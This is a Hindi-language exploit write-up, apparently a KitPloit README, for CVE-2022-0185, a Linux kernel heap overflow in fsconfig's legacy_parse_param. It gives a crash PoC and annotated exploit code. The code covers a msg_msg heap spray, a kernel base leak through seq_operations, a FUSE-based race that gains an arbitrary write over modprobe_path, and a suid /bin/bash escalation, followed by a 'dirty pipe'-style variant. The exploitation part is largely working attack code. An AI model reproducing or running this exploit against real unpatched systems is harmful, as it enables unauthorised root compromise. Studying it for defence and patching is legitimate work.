विशेषाधिकार वृद्धि प्रभाव

![image-20220302154151113](https://assets.kitploit.com/production/public/readmes/23851/8a05fdeba02fe0085dd469683ac49ca6e97ab8f291d904ed417ac022fe68ac76.png)

## भेद्यता सिद्धांत

भेद्यता उत्पन्न होने वाला सिस्टम कॉल `fsconfig` में `FSCONFIG_SET_STRING` ऑपरेशन विकल्प है। यह सिस्टम कॉल पहले से खोले गए फ़ाइल सिस्टम कॉन्टेक्स्ट के लिए कुछ कॉन्फ़िगरेशन करने के लिए उपयोग किया जाता है, **आवश्यक शर्त यह है कि `CAP_SYS_ADMIN` कैप क्षमता होनी चाहिए**:

> `fsopen` का मुख्य उद्देश्य एक फ़ाइल सिस्टम कॉन्टेक्स्ट बनाना है, और फिर इसे एक फ़ाइल डिस्क्रिप्टर से जोड़ना है, और फ़ाइल डिस्क्रिप्टर लौटाना है। `fsopen` के बाद `fsconfig` आता है, शाब्दिक अर्थ से अनुमान लगाया जा सकता है कि हमने ऊपर `fsopen` के माध्यम से एक फ़ाइल सिस्टम कॉन्टेक्स्ट बनाया है, और नीचे `fsconfig` संभवतः फ़ाइल सिस्टम कॉन्टेक्स्ट की सामग्री को कॉन्फ़िगर करने के लिए उपयोग किया जाता है। वास्तव में `fsconfig` मुख्य रूप से यह कॉन्फ़िगरेशन कार्य करता है, फ़ाइल सिस्टम कॉन्टेक्स्ट के अलावा, यह अन्य कार्यों का भी समर्थन करता है।

### भेद्यता उत्पन्न होने का स्थान

सबसे पहले, भेद्यता `legacy_parse_param` फ़ंक्शन में दिखाई देती है:

linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;

	··· ···
	··· ···

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	··· ···
	}

	if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			      param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝，可能越界
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

### कॉल पथ

नीचे हम फ़ंक्शन कॉल स्टैक का विश्लेषण करते हैं। प्रवेश बिंदु निश्चित रूप से `fsconfig` सिस्टम कॉल है:

linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,```c
SYSCALL_DEFINE5(fsconfig,
		int, fd,
		unsigned int, cmd,
		const char __user *, _key,
		const void __user *, _value,
		int, aux)
{
	struct fs_context *fc;
	struct fd f;
	int ret;
	int lookup_flags = 0;

	struct fs_parameter param = {
		.type	= fs_value_is_undefined,
	};

	··· ···
	f = fdget(fd);
	if (!f.file)
		return -EBADF;
	ret = -EINVAL;
	if (f.file->f_op != &fscontext_fops)
		goto out_f;

	fc = f.file->private_data; //设置fc
    
	··· ···
	switch (cmd) {
	··· ···
	case FSCONFIG_SET_STRING:
		param.type = fs_value_is_string;
        //初始化结构体中的联合体中的string成员为用户传入的字符串
		param.string = strndup_user(_value, 256); 
		if (IS_ERR(param.string)) {
			ret = PTR_ERR(param.string);
			goto out_key;
		}
		param.size = strlen(param.string);//设置size
		break;
	··· ···
    ··· ···
	}

	ret = mutex_lock_interruptible(&fc->uapi_mutex);
	if (ret == 0) {
		ret = vfs_fsconfig_locked(fc, cmd, &param);
		mutex_unlock(&fc->uapi_mutex);
	}

	··· ···
    ··· ···
}

ret = finish_clean_context(fc);
if (ret)
	return ret;
switch (cmd) {
··· ···
default:
	if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
	    fc->phase != FS_CONTEXT_RECONF_PARAMS)
		return -EBUSY;

	return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;

पहले `finish_clean_context` फ़ंक्शन को कॉल किया जाता है, यहाँ `legacy_init_fs_context` फ़ंक्शन को कॉल करके कॉलबैक फ़ंक्शन तालिका पंजीकृत की जाती है, जिसमें भेद्यता वाला फ़ंक्शन `legacy_parse_param` शामिल है।

linux-5.11\fs\fs_context.c ```c
 int finish_clean_context(struct fs_context *fc)
 {
     ··· ···
 		error = legacy_init_fs_context(fc);
 	··· ···
 }
 
 static int legacy_init_fs_context(struct fs_context *fc)
 {
 	fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
 	if (!fc->fs_private)
 		return -ENOMEM;
 	fc->ops = &legacy_fs_context_ops; //注册回调函数表
 	return 0;
 }
 
 const struct fs_context_operations legacy_fs_context_ops = {
 	.free			= legacy_fs_context_free,
 	.dup			= legacy_fs_context_dup,
 	.parse_param		= legacy_parse_param, //漏洞函数
 	.parse_monolithic	= legacy_parse_monolithic,
 	.get_tree		= legacy_get_tree,
 	.reconfigure		= legacy_reconfigure,
 };

if (fc->ops->parse_param) {
	ret = fc->ops->parse_param(fc, param); //漏洞所在函数
	if (ret != -ENOPARAM)
		return ret;
}

··· ···
··· ···

समग्र अवलोकन इस प्रकार है

- SYSCALL_DEFINE5(fsconfig,... : सिस्टम कॉल प्रवेश बिंदु
  - vfs_fsconfig_locked
    - finish_clean_context
      - legacy_init_fs_context : कॉलबैक फ़ंक्शन तालिका पंजीकृत करें
    - vfs_parse_fs_param
      - legacy_parse_param : भेद्यता

## भेद्यता प्रतिकृति POC

भेद्यता प्रतिकृति poc:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void)
{
        char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        int fd = 0;
        fd = fsopen("ext4", 0);
        if (fd < 0) {
                puts("Opening");
                exit(-1);
        }
        for (int i = 0; i < 5000; i++) {
                fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
        }
        return 0;
}

दूसरे टर्मिनल पर gdb का उपयोग करके रिमोट डीबगिंग करें:```shell
cd ~ 
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param 
c

··· ···
//后面代码将msg 添加到消息队列。    
··· ···

`do_msgsnd` द्वारा अनुमत संदेश की अधिकतम लंबाई 8192 है:

![image-20220303103936073](https://assets.kitploit.com/production/public/readmes/23851/a3096424c425c66976d945886e4f52aea5d63ffba9f71d1195b28a335267556f.png)

फिर `load_msg` फ़ंक्शन का विश्लेषण करना आवश्यक है, क्योंकि `load_msg` फ़ंक्शन में `alloc_msg` फ़ंक्शन का उपयोग मेमोरी स्पेस आवंटित करने और संदेश संरचना को व्यवस्थित करने के लिए किया जाता है। यहाँ पहले `alloc_msg` फ़ंक्शन का विश्लेषण करते हैं:

linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;
    //#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg))
	alen = min(len, DATALEN_MSG); 
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
	··· ···
    ··· ···
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();
        //#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	··· ···
}

अतः संदेशों की संरचना इस प्रकार है:

![image-20220304093214147](https://assets.kitploit.com/production/public/readmes/23851/c293330c8e179cbe189b7f24631f238fb03b2b56d2571dda30298b4c94f5431d.png)

संदेश संदेश कतार में मौजूद होते हैं, जिन्हें द्वि-लिंक्ड सूची द्वारा प्रबंधित किया जाता है। संदेश स्वयं खंडों में संग्रहीत होते हैं, जो एकल-लिंक्ड सूची से जुड़े होते हैं। प्रत्येक खंड अधिकतम एक पृष्ठ (4k) लंबा होता है। अब `do_msgsnd` फ़ंक्शन का विश्लेषण करते हैं:

linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len); //根据消息长度生成上图那种结构体
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);     //根据分段情况从用户空间分段拷贝，这里拷贝第一段
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}
    ··· ···
    ··· ···
}

return bufsz;

जब `msgflg` में `MSG_EXCEPT` फ़्लैग मौजूद होता है (डिफ़ॉल्ट कॉन्फ़िगरेशन, कंपाइल विकल्प `CONFIG_CHECKPOINT_RESTORE`), तो बैकअप संदेश भेजने का उपयोग किया जाता है। विशिष्ट तर्क यह है कि पहले एक संदेश संरचना को संदेश बैकअप के रूप में आवंटित किया जाता है, संदेश मिलने के बाद पहले उसे संदेश बैकअप में कॉपी किया जाता है, फिर उपयोगकर्ता स्थान पर भेजा जाता है, और उसके बाद संदेश बैकअप को मुक्त किया जाता है। **इस प्रकार मूल संदेश कतार से unlink नहीं होता**, हमें वही चाहिए "मूल संदेश को कतार से `unlink` न करने की क्रिया"। क्योंकि कभी-कभी हमारे ओवरफ़्लो से संदेश हेडर के द्विदिश लिंक्ड लिस्ट पॉइंटर ओवरराइट हो जाते हैं, जिससे `unlink` करने पर क्रैश होता है, जो वांछनीय परिणाम नहीं है।

ज्ञान के बिंदु लगभग इतने ही हैं, इसमें शामिल उपयोग तकनीकें हैं:

- `msgsnd` फ़ंक्शन का उपयोग करके `kmalloc-64` से `kmalloc-4k` की सीमा में स्प्रे ऑपरेशन किया जा सकता है (पारंपरिक कला)
- यदि `msg_msg` हेडर के `m_ts` सदस्य को ओवरराइट किया जा सकता है, तो संदेश की लंबाई बदल जाएगी, जिससे सीमा से बाहर पढ़ाई होगी (नई कला)
- यदि **load_msg प्रक्रिया के दौरान** `msg_msg` हेडर के `struct msg_msgseg *next` सदस्य को ओवरराइट किया जा सकता है, तो मनमाना पता पढ़ा/लिखा जा सकता है, इसके लिए सामान्यतः `userfaulted` रेस कंडीशन का उपयोग किया जाता है, लेकिन नवीनतम कर्नेल में उपयोगकर्ता स्तर पर `userfaulted` को कॉल नहीं किया जा सकता है। यहाँ नई विधि अपनाई जाती है।

#### userfaulted का विकल्प

ऊपर विश्लेषित `load_msg` फ़ंक्शन के अनुसार, `alloc_msg` द्वारा संदेश की मेमोरी आवंटित करने के बाद उपयोगकर्ता स्थान से संदेश कॉपी किया जाता है। यदि संदेश एक लंबा खंडित संदेश है, तो इसे खंडों में कॉपी करना होगा। यदि पहले खंड की कॉपी के दौरान पेज फॉल्ट होता है, जिससे कॉपी ऑपरेशन अपवाद प्रबंधन समाप्त होने तक प्रतीक्षा करता है, तो इस समय ओवरफ़्लो का उपयोग करके `msg_msg` में `msg_msgseg *next` पॉइंटर को ओवरराइट कर दिया जाता है; अपवाद प्रबंधन समाप्त होने के बाद दूसरा खंड कॉपी करने पर वह हमारे द्वारा निर्दिष्ट पते पर मनमाना सामग्री ओवरराइट कर देगा (मनमाना पता लिखना)।

सामान्यतः इसके लिए उपयोगकर्ता स्तर पर `page fault` हैंडलर पंजीकृत करने की आवश्यकता होती है, लेकिन नए संस्करण में गैर-विशेषाधिकृत स्थिति में `userfaulted` सिस्टम कॉल को कॉल नहीं किया जा सकता। यहाँ एक नई विधि प्रस्तुत की गई है, वह है `fuse` उपयोगकर्ता स्तर फ़ाइल सिस्टम। `fuse` का उपयोग करके एक उपयोगकर्ता स्तर फ़ाइल सिस्टम पंजीकृत किया जा सकता है, जिसमें स्वयं के `read`, `write` आदि फ़ंक्शन होंगे, इसलिए जब पेज फॉल्ट होता है, तब भी इंटरप्ट को संभालने के लिए उपयोगकर्ता स्थान पर वापस आ जाएगा।

उल्लेखनीय है कि fuse में स्वयं स्थैतिक रूप से संकलित लाइब्रेरी नहीं है। BitsByWill और D3v17 ने इसे कुछ हद तक काट-छाँट किया, dlopen आदि को हटाकर, केवल एक स्थैतिक रूप से संकलित libfuse3.a बनाया। कहो, धन्यवाद BitsByWill और D3v17।

[संदर्भ](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)

#### पता लीक करना

यहाँ भी kernel pwn की सामान्य क्रिया है, `seq_operations` संरचना का उपयोग करके पता लीक किया जाता है, जिसमें सभी फ़ंक्शन पॉइंटर्स हैं:```c
struct seq_operations {
	void * (*start) (struct seq_file *m, loff_t *pos);
	void (*stop) (struct seq_file *m, void *v);
	void * (*next) (struct seq_file *m, void *v, loff_t *pos);
	int (*show) (struct seq_file *m, void *v);
};

if (op) {
	op->start = single_start;
	op->next = single_next;
	op->stop = single_stop;
	op->show = show;
	res = seq_open(file, op);

सभी फ़ंक्शन पॉइंटर्स को `single_open` संरचना में कर्नेल फ़ंक्शन के रूप में प्रारंभ करें, और यदि उनमें से किसी एक को लीक किया जा सकता है, तो कर्नेल आधार पता लीक किया जा सकता है।

#### विशेषाधिकार उन्नयन

kernel pwn पारंपरिक कला `modprobe_path`, कर्नेल में एक स्ट्रिंग जो एक पथ की ओर इशारा करती है, डिफ़ॉल्ट /sbin/modprobe```c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";

if (!fork()) //子进程注册一个fuse 文件系统，用于提供userfaulted
{
    fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}

sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase)  //泄露kernel 基址部分
{
    kbase = do_leak();
}
··· ···

spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1) 
{
    do_win(); //任意地址写修改modprobe_path完成利用部分
    ··· ···
}

··· ···

exp मुख्य रूप से दो भागों में विभाजित है: लीक और मनमाना पता लिखना।

#### kernel आधार पता लीक करना

मेरे विचार में, इस exp का लीक भाग बहुत चतुराई से काम करता है: पहले अप्रयुक्त भाग को ओवरफ्लो करके ओवरराइट करें, फिर उस संरचना (structure) को आवंटित करें जिसे ओवरफ्लो करके ओवरराइट करना है, ताकि लक्ष्य के अवांछित भागों को नुकसान न पहुंचे, और फिर लक्ष्य को सटीक रूप से ओवरराइट करने के लिए ओवरफ्लो जारी रखें।

मुख्य रूप से `do_leak` फ़ंक्शन

CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak () 
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    // spray msg_msg
    for (int i = 0; i < 8; i++)   //[1]先申请8个独立的消息队列，每个里面存放一条消息
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0); 
    }/*消息大小 0x1018-0x30,实际会分成两段
      *第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
      *第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");

    fd = fsopen("ext4", 0);
    if (fd < 0) 
    {
            puts("fsopen: Remember to unshare");
            exit(-1);
    }

    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++)  
    {  //[2]溢出准备，多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }
    
    // overflow, hopefully causes an OOB read on a potential msg_msg object below
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    /*[3]溢出部分，输入长度21,由于每次溢出会自动加上",="所以实际23，再加上之前长度4095总共溢出22
     *这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/

    // spray more msg_msg
    for (int i = 8; i < 0x10; i++) 
    {//[4]继续msgsnd，申请msg_msg 结构体，大概率申请到将legacy_data后面的地方
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }//msg_msg 头会覆盖刚刚溢出的内容

    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    /*[5]继续溢出，legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间，m_ts 位之前
     *刚好覆盖m_ts，修改msg 的大小*/

    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) 
    {//[6]上面提到过的泄露地址用结构体,多次打开stat，喷射多个0x20的seq_operations结构体
        open("/proc/self/stat", O_RDONLY);
    }//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面

    size = 0x1060;//接受消息的长度
    puts("[*] Attempting to recieve corrupted size and leak data");

    // go through all targets qids and check if we hopefully get a leak
    for (int j = 0; j < 0x10; j++) 
    {//[7]接受消息，某一个消息的长度被改大，则会越界读到后面的seq_operations结构体
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);//泄露成功
        if (kbase) 
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}

int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0); 
//[2]设定消息长度为0xfe的消息，会分成两段

puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0) 
{
        puts("Opening");
        exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}

puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
    perror("evil fd failed");
    exit(-1);
}
//[4]使用fuse 文件系统mmap 一页，在0x1338000，也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
    perror("mmap fail fuse 1");
    exit(-1);
}

pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
    perror("can't setup threads for race");
}
//[5]发送消息，消息开头在第一个mmap 页的末尾，会触发page fault，等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程，线程执行溢出操作，在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);

size_t len = 0x1000;

···

memcpy(buf, evil_buffer + offset, size); 

// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回，完成任意地址写

return size;

1. 0x1337000 पर `mmap` एक पेज, पेज 1

2. संदेश की लंबाई 0x1010-0x30=0xfe0 सेट करें, ताकि संदेश को दो भागों में विभाजित करने की आवश्यकता हो।

3. `fsconfig` ओवरफ्लो से पहले भरने की तैयारी करता है, एक `kmalloc-4k` आवंटित करता है।

4. पहले से पंजीकृत fuse फ़ाइल सिस्टम का उपयोग करके 0x1338000 पर `mmap` एक पेज, पेज 2

5. संदेश भेजें, लंबाई 0xfe0, एक `kmalloc-4k` और एक `kmalloc-32` आवंटित करें। संदेश की शुरुआती स्थिति पेज 1 के अंत में है। इस समय, `msgsnd` के **अंदर का `copy_from_user` फ़ंक्शन, जब उपयोगकर्ता स्पेस से कर्नेल स्पेस में संदेश कॉपी करता है, तो पेज 2 पर कॉपी करते समय यह पेज फॉल्ट ट्रिगर करेगा और उपयोगकर्ता स्पेस के fuse फ़ाइल सिस्टम के `evil_read` फ़ंक्शन को कॉल करेगा**। यह फ़ंक्शन हमारे द्वारा निर्दिष्ट है, और हम जो सामग्री लिखना चाहते हैं उसे कर्नेल को देता है। और यह फ़ंक्शन नीचे दी गई प्रक्रिया के पूरा होने की प्रतीक्षा करेगा, तभी वापस आएगा।

6. इस समय एक नई प्रक्रिया शुरू करें, नई प्रक्रिया ओवरफ्लो ऑपरेशन पूरा करती है, ओवरफ्लो करके पीछे वाले संदेश हेडर `msg_msg` के अंदर `msg_msgseg * next` पॉइंटर को ओवरराइड करती है, जो दूसरे भाग के संदेश की ओर इशारा करता है, उसे `modprobe_path` की ओर इशारा करने के लिए बदल देती है। फिर `evil_read` फ़ंक्शन को पूर्ण सिग्नल भेजें।

7. `evil_read` वापस आता है, मनमाना पता लिखना पूरा करता है। `modprobe_path` को `"/tmp/w"` में बदल दिया जाता है

   ![image-20220304120016782](https://assets.kitploit.com/production/public/readmes/23851/82f415b1c760afd5364ee0bf049e9e8f73faae7ba4a30eac735b5f4f03019fa4.png)

आरेख:

![image-20220304120052081](https://assets.kitploit.com/production/public/readmes/23851/fd4ef7b7e641a222dd6ec8a97133b2aa86de37ac0a09c2d560f694d7774826fa.png)

चूंकि `modprobe_path` को संशोधित कर दिया गया है, हम मानते हैं कि विशेषाधिकार वृद्धि सफल हुई। बाद के exp का विशेषाधिकार वृद्धि ऑपरेशन `/bin/bash` में suid अनुमति जोड़कर पूरा किया जाता है। हालांकि, यह अब महत्वपूर्ण नहीं है।

![image-20220304120219927](https://assets.kitploit.com/production/public/readmes/23851/8feed8f8d70c44f9182a703e9d2904af9e7e2633453e6d121c871806637f7b7a.png)

### [नया]exp विश्लेषण (कृत्रिम गंदा पाइप सर्व-कार्यशील संस्करण)

से: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)

मुख्य विचार CVE-2022-0847 (गंदा पाइप) के सामने आने के बाद, यह पाया गया कि पाइप और splice में ऐसा एक तंत्र है:

1. पाइप पाइपलाइन में 16 कैश पेज होते हैं। हर बार जब पाइप में डेटा लिखा जाता है, तो यह पता लगाया जाता है कि वर्तमान में कितने पेज लिखे जा चुके हैं। यदि यह पेज पूरी तरह से नहीं लिखा गया है, तो यह इस पेज पर लिखना जारी रखने का प्रयास करेगा। लेकिन सभी पेजों पर लिखना जारी नहीं रखा जा सकता, उदाहरण के लिए नीचे दी गई स्थिति।
2. splice पाइप पाइपलाइन में फ़ाइल स्थानांतरित करने की अनुमति देता है। कार्यान्वयन विधि फ़ाइल के कैश पेज को सीधे पाइप के कैश पेज से बदलना है। इस प्रकार बदले गए फ़ाइल कैश पेज पर पाइप द्वारा लिखना जारी रखने की अनुमति नहीं है।
3. संस्करण 5.8 के बाद, `pipe_buffer->flags` के माध्यम से यह निर्धारित किया जाता है कि पेज पर लिखना जारी रखने की अनुमति है या नहीं। संस्करण 5.8 से पहले, `pipe_buffer->ops` के `anon_pipe_buf_ops` होने के आधार पर यह निर्धारित किया जाता था कि लिखना जारी रखा जा सकता है या नहीं।

तो गंदे पाइप भेद्यता का कारण `pipe_buffer->flags` का प्रारंभ न होना है, जिसके परिणामस्वरूप splice द्वारा स्थानांतरित फ़ाइल कैश पेज पर लिखना जारी रखा जा सकता है। हालांकि इसे ठीक कर दिया गया है, लेकिन विचार करें कि यदि हम जानबूझकर flags को बदल सकते हैं, तो क्या हम "कृत्रिम गंदा पाइप" बना सकते हैं? उत्तर हां है। यह जानना महत्वपूर्ण है कि गंदा पाइप एक ऐसा भेद्यता है जिसका उपयोग करने के लिए किसी पते के रिसाव की आवश्यकता नहीं है। और `pipe_buffer` कर्नेल भेद्यता दोहन में आमतौर पर इस्तेमाल किया जाने वाला पीड़ित संरचना है। इसके flags या ops को बदलना बहुत आसान है। नीचे कृत्रिम गंदा पाइप के माध्यम से सर्व-कार्यशील exp के विचार का परिचय दिया गया है:

पहले, कई संदेश कतारों को स्प्रे करें, प्रत्येक कतार में एक 0x1400 का msg_msg होता है। इस प्रकार msg दो भागों में विभाजित हो जाएगा, एक भाग 0x1000 और दूसरा भाग 0x4000। फिर, सीमा से बाहर लिखने का उपयोग करके मुख्य संदेश भाग के m_ts बिट को 0x1800 में संशोधित करें:

![image-20220524162516400](https://assets.kitploit.com/production/public/readmes/23851/8f7a4445daae2ccbe7f813041c77de1cbffe97a9b6d6958902153a6a76f60043.png)

इस प्रकार, **सफलतापूर्वक 0x1800 लंबाई पढ़ने वाले msgid** को ढूंढकर, हम यह निर्धारित कर सकते हैं कि उस कतार का msg_msg ओवरफ्लो हो गया है। और सीमा से बाहर पढ़ने के माध्यम से यह भी निर्धारित करें कि पीछे एक और संदेश का भाग 2 (sec2) है। फिर इसके अलावा अन्य सभी msg कतारों को मुक्त कर दें:

![image-20220524162832450](https://assets.kitploit.com/production/public/readmes/23851/815b76bfabcd1451b26e7276fffd367c213a1f55c1ee47718e9d5a1f7bab2a04.png)

फिर, कई संदेश कतारों को स्प्रे करें, प्रत्येक कतार में 16 (या कुछ) 0x400 के msg_msg होते हैं। इस प्रकार, आदर्श स्थिति में, किसी एक कतार का कोई एक संदेश उपरोक्त आरेख में डैश लाइन वाले फ्री हुए 0x400 स्लैब पर कब्जा कर लेगा, जिससे निम्नलिखित लेआउट बनेगा। msg कतार X का 5वां msg उस स्लैब को प्राप्त करता है:

![image-20220524164354436](https://assets.kitploit.com/production/public/readmes/23851/00a52c4c473964335ca823f880581a8b46dddbf734c232f6460cb002a15009ac.png)

फिर, msg1 के सीमा से बाहर पढ़ने के माध्यम से, msg5 का prev मान प्राप्त करें, जो msg4 का पता है। msg में हमारे द्वारा व्यवस्थित सामग्री के माध्यम से, msq कतार संख्या X और msg का कतार में क्रमांक 5 निर्धारित किया जा सकता है।

इसके बाद, msg6 और msg6 के बाद के सभी msg को मुक्त करें। फिर, कतार X में एक नया संदेश जोड़ें। नया संदेश अभी भी msg5 के पीछे जुड़ेगा, यानी नया msg6, newmsg6। newmsg6 में (पते के अंत में जहां 0x00 नहीं है) एक नकली msg हेडर, fake head रखें, जो msg4 की ओर इशारा करता है, जिससे निम्नलिखित बने:

![image-20220524164937406](https://assets.kitploit.com/production/public/readmes/23851/896247923a72798b59b91bc90cde45d44c6cd5e5c0001e654e83533260e619d8.png)

फिर, एक बार और सीमा से बाहर पढ़ें, newmsg6 में fake head का पता रिकॉर्ड करें, जो सीमा से बाहर पढ़े गए msg5->next के मान में हमारे द्वारा व्यवस्थित ऑफ़सेट को जोड़ने के बराबर है:

![image-20220524165719754](https://assets.kitploit.com/production/public/readmes/23851/c9b397893438a567dcb586b9c524ab9bffb2a7df6cdc3b26d55424ba68d81581.png)

फिर, दो-दो, तीन-तीन, चार-चार, एक बार फिर से करें। फिर से सीमा से बाहर लिखने का प्रबंध करें, इस बार msg हेडर के next पॉइंटर को ओवरराइड करके newmsg6 में fakeHead की ओर इशारा करें। अभी-अभी पता प्राप्त हुआ है:

![image-20220524171400377](https://assets.kitploit.com/production/public/readmes/23851/932e25844488038a248cc42c13bf35e60a8e85d539283cc6ad95395b734415cd.png)

सीधे msgX के माध्यम से msg4 को मुक्त करें। फिर, sk_buff स्प्रे करके उस मुक्त हुए msg4 पर कब्जा करें, और next और prev को अपनी ओर इशारा करने के लिए नकली बनाएं (पता पहले से ज्ञात है), जिसका उपयोग बाद में दूसरी बार मुक्त करने के लिए msg के unlink को बायपास करने के लिए किया जाएगा:

![image-20220524171449841](https://assets.kitploit.com/production/public/readmes/23851/a67430472b9b0476f86a210d671450fc3bd81529971dd8b3eea38c6705dc134e.png)

फिर, newmsg1 इस कतार का उपयोग करके एक बार msg4 को मुक्त करें। फिर, pipe_buffer का उपयोग करके फिर से उस पर कब्जा करें, ताकि sk_buff और pipe_buffer एक ही क्षेत्र पर कब्जा कर लें, जिससे निम्नलिखित स्थिति बने:

![image-20220524172342828](https://assets.kitploit.com/production/public/readmes/23851/3eff50c82acceb7a6daa079fe183611a131cd4212da941eaef09551380c5bbbc.png)

